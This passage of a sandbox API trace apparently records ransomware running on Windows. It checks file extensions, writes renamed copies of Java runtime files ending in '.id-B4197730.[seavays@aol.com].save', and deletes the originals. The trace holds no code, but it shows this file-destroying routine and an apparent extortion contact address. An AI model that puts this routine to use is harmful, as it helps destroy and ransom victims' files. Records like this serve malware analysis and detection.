(lpString1=".zip", lpString2=".src") returned 1 [0163.875] lstrlenW (lpString=".rar") returned 4 [0163.875] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0163.875] lstrlenW (lpString=".bz2") returned 4 [0163.875] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0163.875] lstrlenW (lpString=".7z") returned 3 [0163.875] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0163.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0163.875] lstrlenW (lpString=".dbf") returned 4 [0163.875] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0163.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0163.875] lstrlenW (lpString=".1cd") returned 4 [0163.876] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0163.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0163.876] lstrlenW (lpString=".jpg") returned 4 [0163.876] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0163.876] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0163.876] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22 [0163.876] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0164.085] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=80856) returned 1 [0164.085] CloseHandle (hObject=0x464) returned 1 [0164.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0164.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0164.570] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0164.685] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0164.685] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0164.686] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0164.686] GetLastError () returned 0x0 [0164.686] ReadFile (in: hFile=0x4a8, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x13bd8, lpOverlapped=0x0) returned 1 [0164.690] WriteFile (in: hFile=0x4b0, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x13be0, lpOverlapped=0x0) returned 1 [0164.692] ReadFile (in: hFile=0x4a8, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0164.693] WriteFile (in: hFile=0x4b0, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x100, lpOverlapped=0x0) returned 1 [0164.693] SetEndOfFile (hFile=0x4b0) returned 1 [0164.693] CloseHandle (hObject=0x4b0) returned 1 [0164.693] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0164.693] SetEndOfFile (hFile=0x4a8) returned 1 [0164.697] CloseHandle (hObject=0x4a8) returned 1 [0164.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0164.698] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1 [0164.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0164.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0164.698] lstrlenW (lpString=".doc") returned 4 [0164.698] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0164.699] lstrlenW (lpString=".docx") returned 5 [0164.699] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0164.699] lstrlenW (lpString=".pdf") returned 4 [0164.699] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0164.699] lstrlenW (lpString=".xls") returned 4 [0164.699] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0164.699] lstrlenW (lpString=".xlsx") returned 5 [0164.699] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0164.699] lstrlenW (lpString=".ppt") returned 4 [0164.699] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0164.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0164.699] lstrlenW (lpString=".zip") returned 4 [0164.699] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0164.699] lstrlenW (lpString=".rar") returned 4 [0164.699] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0164.699] lstrlenW (lpString=".bz2") returned 4 [0164.699] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0164.699] lstrlenW (lpString=".7z") returned 3 [0164.699] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0164.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0164.699] lstrlenW (lpString=".dbf") returned 4 [0164.699] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0164.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0164.699] lstrlenW (lpString=".1cd") returned 4 [0164.699] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0164.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0164.699] lstrlenW (lpString=".jpg") returned 4 [0164.699] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0164.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0164.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0164.700] lstrlenW (lpString=".doc") returned 4 [0164.700] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0164.700] lstrlenW (lpString=".docx") returned 5 [0164.700] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0164.700] lstrlenW (lpString=".pdf") returned 4 [0164.700] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0164.700] lstrlenW (lpString=".xls") returned 4 [0164.700] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0164.700] lstrlenW (lpString=".xlsx") returned 5 [0164.700] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0164.700] lstrlenW (lpString=".ppt") returned 4 [0164.700] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0164.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0164.700] lstrlenW (lpString=".zip") returned 4 [0164.700] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0164.700] lstrlenW (lpString=".rar") returned 4 [0164.700] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0164.700] lstrlenW (lpString=".bz2") returned 4 [0164.700] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0164.700] lstrlenW (lpString=".7z") returned 3 [0164.700] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0164.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0164.700] lstrlenW (lpString=".dbf") returned 4 [0164.700] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0164.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0164.700] lstrlenW (lpString=".1cd") returned 4 [0164.700] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0164.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0164.700] lstrlenW (lpString=".jpg") returned 4 [0164.701] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0164.701] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0164.701] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24 [0164.701] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0164.702] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=234068) returned 1 [0164.702] CloseHandle (hObject=0x4a8) returned 1 [0164.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0164.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0164.702] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0164.702] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0164.702] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0164.703] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0164.703] GetLastError () returned 0x0 [0164.703] ReadFile (in: hFile=0x4a8, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x39254, lpOverlapped=0x0) returned 1 [0164.711] WriteFile (in: hFile=0x4b0, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x39260, lpOverlapped=0x0) returned 1 [0164.852] ReadFile (in: hFile=0x4a8, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0164.852] WriteFile (in: hFile=0x4b0, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x104, lpOverlapped=0x0) returned 1 [0164.852] SetEndOfFile (hFile=0x4b0) returned 1 [0164.852] CloseHandle (hObject=0x4b0) returned 1 [0164.853] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0164.853] SetEndOfFile (hFile=0x4a8) returned 1 [0164.896] CloseHandle (hObject=0x4a8) returned 1 [0164.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0166.595] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1 [0167.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0167.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0167.096] lstrlenW (lpString=".doc") returned 4 [0167.096] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0167.096] lstrlenW (lpString=".docx") returned 5 [0167.096] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0167.096] lstrlenW (lpString=".pdf") returned 4 [0167.096] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0167.096] lstrlenW (lpString=".xls") returned 4 [0167.097] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0167.097] lstrlenW (lpString=".xlsx") returned 5 [0167.097] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0167.097] lstrlenW (lpString=".ppt") returned 4 [0167.097] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0167.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0167.097] lstrlenW (lpString=".zip") returned 4 [0167.097] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0167.097] lstrlenW (lpString=".rar") returned 4 [0167.097] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0167.097] lstrlenW (lpString=".bz2") returned 4 [0167.097] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0167.097] lstrlenW (lpString=".7z") returned 3 [0167.097] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0167.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0167.097] lstrlenW (lpString=".dbf") returned 4 [0167.097] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0167.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0167.097] lstrlenW (lpString=".1cd") returned 4 [0167.097] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0167.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0167.097] lstrlenW (lpString=".jpg") returned 4 [0167.097] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0167.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0167.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0167.098] lstrlenW (lpString=".doc") returned 4 [0167.098] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0167.098] lstrlenW (lpString=".docx") returned 5 [0167.098] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0167.098] lstrlenW (lpString=".pdf") returned 4 [0167.098] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0167.098] lstrlenW (lpString=".xls") returned 4 [0167.098] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0167.098] lstrlenW (lpString=".xlsx") returned 5 [0167.098] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0167.098] lstrlenW (lpString=".ppt") returned 4 [0167.098] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0167.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0167.098] lstrlenW (lpString=".zip") returned 4 [0167.098] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0167.098] lstrlenW (lpString=".rar") returned 4 [0167.098] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0167.098] lstrlenW (lpString=".bz2") returned 4 [0167.098] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0167.098] lstrlenW (lpString=".7z") returned 3 [0167.098] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0167.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0167.098] lstrlenW (lpString=".dbf") returned 4 [0167.098] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0167.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0167.098] lstrlenW (lpString=".1cd") returned 4 [0167.098] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0167.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0167.099] lstrlenW (lpString=".jpg") returned 4 [0167.099] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0167.099] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0167.099] lstrlenW (lpString="hijrah-config-umalqura.properties") returned 33 [0167.099] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.435] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=13962) returned 1 [0168.435] CloseHandle (hObject=0x51c) returned 1 [0168.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20 [0168.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.946] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0169.292] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0169.292] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0169.292] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0169.408] GetLastError () returned 0x0 [0169.408] ReadFile (in: hFile=0x530, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x368a, lpOverlapped=0x0) returned 1 [0169.410] WriteFile (in: hFile=0x51c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x3690, lpOverlapped=0x0) returned 1 [0169.412] ReadFile (in: hFile=0x530, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0169.412] WriteFile (in: hFile=0x51c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x116, lpOverlapped=0x0) returned 1 [0169.412] SetEndOfFile (hFile=0x51c) returned 1 [0169.412] CloseHandle (hObject=0x51c) returned 1 [0169.413] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0169.413] SetEndOfFile (hFile=0x530) returned 1 [0169.416] CloseHandle (hObject=0x530) returned 1 [0169.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0169.417] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1 [0169.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0169.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0169.418] lstrlenW (lpString=".doc") returned 4 [0169.418] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0169.418] lstrlenW (lpString=".docx") returned 5 [0169.418] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0169.418] lstrlenW (lpString=".pdf") returned 4 [0169.418] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0169.418] lstrlenW (lpString=".xls") returned 4 [0169.418] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0169.418] lstrlenW (lpString=".xlsx") returned 5 [0169.418] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0169.418] lstrlenW (lpString=".ppt") returned 4 [0169.418] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0169.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0169.418] lstrlenW (lpString=".zip") returned 4 [0169.418] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0169.418] lstrlenW (lpString=".rar") returned 4 [0169.418] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0169.418] lstrlenW (lpString=".bz2") returned 4 [0169.418] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0169.418] lstrlenW (lpString=".7z") returned 3 [0169.419] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0169.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0169.419] lstrlenW (lpString=".dbf") returned 4 [0169.419] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0169.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0169.419] lstrlenW (lpString=".1cd") returned 4 [0169.419] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0169.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0169.419] lstrlenW (lpString=".jpg") returned 4 [0169.419] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0169.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0169.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0169.419] lstrlenW (lpString=".doc") returned 4 [0169.419] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0169.419] lstrlenW (lpString=".docx") returned 5 [0169.419] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0169.419] lstrlenW (lpString=".pdf") returned 4 [0169.419] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0169.419] lstrlenW (lpString=".xls") returned 4 [0169.419] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0169.419] lstrlenW (lpString=".xlsx") returned 5 [0169.419] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0169.419] lstrlenW (lpString=".ppt") returned 4 [0169.419] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0169.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0169.419] lstrlenW (lpString=".zip") returned 4 [0169.420] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0169.420] lstrlenW (lpString=".rar") returned 4 [0169.420] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0169.420] lstrlenW (lpString=".bz2") returned 4 [0169.420] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0169.420] lstrlenW (lpString=".7z") returned 3 [0169.420] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0169.420] lstrlenW 